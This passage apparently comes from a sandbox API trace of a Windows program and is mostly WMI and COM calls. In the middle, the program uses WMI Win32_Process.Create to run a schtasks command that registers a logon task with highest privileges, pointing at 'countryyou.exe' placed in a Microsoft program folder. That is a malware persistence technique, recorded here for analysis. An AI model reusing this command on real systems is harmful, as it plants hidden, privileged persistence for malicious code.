Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0072.502] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0072.502] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0072.502] IUnknown:Release (This=0x111f638) returned 0x1 [0072.504] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x11e7e90) returned 0x0 [0072.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x11e7e90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0072.504] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11e7e90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x116a700) returned 0x0 [0072.504] WbemDefPath:IUnknown:Release (This=0x11e7e90) returned 0x0 [0072.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x116a700) returned 0x0 [0072.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0072.504] WbemDefPath:IUnknown:AddRef (This=0x116a700) returned 0x3 [0072.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0072.504] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0072.505] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x11e7c50) returned 0x0 [0072.505] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11e7c50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.505] WbemDefPath:IUnknown:Release (This=0x11e7c50) returned 0x3 [0072.505] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0072.505] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0072.505] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0072.505] WbemDefPath:IUnknown:Release (This=0x116a700) returned 0x2 [0072.505] WbemDefPath:IUnknown:Release (This=0x116a700) returned 0x1 [0072.505] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0072.505] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0072.505] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a700, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x116a700) returned 0x0 [0072.505] WbemDefPath:IUnknown:AddRef (This=0x116a700) returned 0x3 [0072.505] WbemDefPath:IUnknown:Release (This=0x116a700) returned 0x2 [0072.505] WbemDefPath:IWbemPath:SetText (This=0x116a700, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0072.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a7c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0072.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a700, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0072.505] WbemDefPath:IWbemPath:GetText (in: This=0x116a700, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0072.505] WbemDefPath:IWbemPath:GetText (in: This=0x116a700, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0072.505] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x116a7c0) returned 0x0 [0072.505] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a700, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0072.505] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a700, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0072.505] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a700, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0072.505] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x116a7c0, uIndex=0x0, pszName="root") returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a700, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x116a700, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0072.506] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x116a7c0, uIndex=0x1, pszName="cimv2") returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetServer (in: This=0x116a700, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetServer (in: This=0x116a700, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetServer (in: This=0x116a7c0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetServer (in: This=0x116a7c0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a7c0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0230, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0230, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a7c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetText (in: This=0x116a7c0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetText (in: This=0x116a7c0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetText (in: This=0x116a7c0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0072.506] WbemDefPath:IWbemPath:GetText (in: This=0x116a7c0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0072.507] IWbemServices:GetObject (in: This=0x1bed1df0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11ea9e0, ppCallResult=0x0) returned 0x0 [0072.519] IWbemClassObject:GetMethod (in: This=0x11ea9e0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11ead50, ppOutSignature=0x1b2fd9e0*=0x11eb0c0) returned 0x0 [0072.519] IWbemClassObject:SpawnInstance (in: This=0x11ead50, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf1bfd0) returned 0x0 [0072.519] IWbemClassObject:Get (in: This=0x1bf1bfd0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bd7b8*=0, plFlavor=0x29bd7bc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bd7b8*=8, plFlavor=0x29bd7bc*=32) returned 0x0 [0072.520] IWbemClassObject:Get (in: This=0x1bf1bfd0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bd7b8*=8, plFlavor=0x29bd7bc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bd7b8*=8, plFlavor=0x29bd7bc*=32) returned 0x0 [0072.520] IWbemClassObject:Put (This=0x1bf1bfd0, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"countryyou\" /sc ONLOGON /tr \"'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0072.520] IWbemClassObject:Get (in: This=0x1bf1bfd0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bd848*=0, plFlavor=0x29bd84c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bd848*=13, plFlavor=0x29bd84c*=32) returned 0x0 [0072.520] IWbemClassObject:Get (in: This=0x1bf1bfd0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bd848*=13, plFlavor=0x29bd84c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bd848*=13, plFlavor=0x29bd84c*=32) returned 0x0 [0072.520] IUnknown:QueryInterface (in: This=0x11ea300, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11ea300) returned 0x0 [0072.520] IUnknown:QueryInterface (in: This=0x11ea300, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0072.520] IUnknown:QueryInterface (in: This=0x11ea300, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0072.521] IUnknown:AddRef (This=0x11ea300) returned 0x3 [0072.521] IUnknown:QueryInterface (in: This=0x11ea300, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0072.521] IUnknown:QueryInterface (in: This=0x11ea300, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0072.521] IUnknown:QueryInterface (in: This=0x11ea300, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11ea308) returned 0x0 [0072.521] IMarshal:GetUnmarshalClass (in: This=0x11ea308, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0072.521] IUnknown:Release (This=0x11ea308) returned 0x3 [0072.521] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0072.521] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0072.521] IUnknown:QueryInterface (in: This=0x11ea300, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0072.521] IUnknown:Release (This=0x11ea300) returned 0x2 [0072.521] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0072.521] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0072.521] IUnknown:QueryInterface (in: This=0x11ea300, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0072.521] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0072.521] IUnknown:QueryInterface (in: This=0x11ea300, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0072.521] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0072.521] IUnknown:AddRef (This=0x11ea300) returned 0x3 [0072.522] IWbemClassObject:Put (This=0x1bf1bfd0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ea300, varVal2=0x0), Type=0) returned 0x0 [0072.522] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0170, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0072.522] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0170, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0072.522] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0170, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0072.522] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0230, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0072.522] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0072.522] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0230, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0072.522] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0170, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0072.522] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0170, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0072.522] IWbemServices:ExecMethod (in: This=0x1bed1df0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf1bfd0, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf1c280, ppCallResult=0x0) returned 0x0 [0072.667] IWbemClassObject:Get (in: This=0x1bf1c280, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bdb60*=0, plFlavor=0x29bdb64*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff4, varVal2=0x0), pType=0x29bdb60*=19, plFlavor=0x29bdb64*=0) returned 0x0 [0072.667] IWbemClassObject:Get (in: This=0x1bf1c280, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29bdb60*=19, plFlavor=0x29bdb64*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xff4, varVal2=0x0), pType=0x29bdb60*=19, plFlavor=0x29bdb64*=0) returned 0x0 [0072.668] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0072.668] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0072.668] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0072.668] IUnknown:Release (This=0x111f638) returned 0x1 [0072.670] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11ae560) returned 0x0 [0072.670] WbemDefPath:IUnknown:QueryInterface (in: This=0x11ae560, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0072.670] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11ae560, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x116a640) returned 0x0 [0072.671] WbemDefPath:IUnknown:Release (This=0x11ae560) returned 0x0 [0072.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x116a640) returned 0x0 [0072.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0072.671] WbemDefPath:IUnknown:AddRef (This=0x116a640) returned 0x3 [0072.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0072.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0072.671] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a640, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11ae4c0) returned 0x0 [0072.671] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11ae4c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0072.671] WbemDefPath:IUnknown:Release (This=0x11ae4c0) returned 0x3 [0072.671] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0072.671] CoGetContextToken (in: pToken=0x1b2fc830 | out: 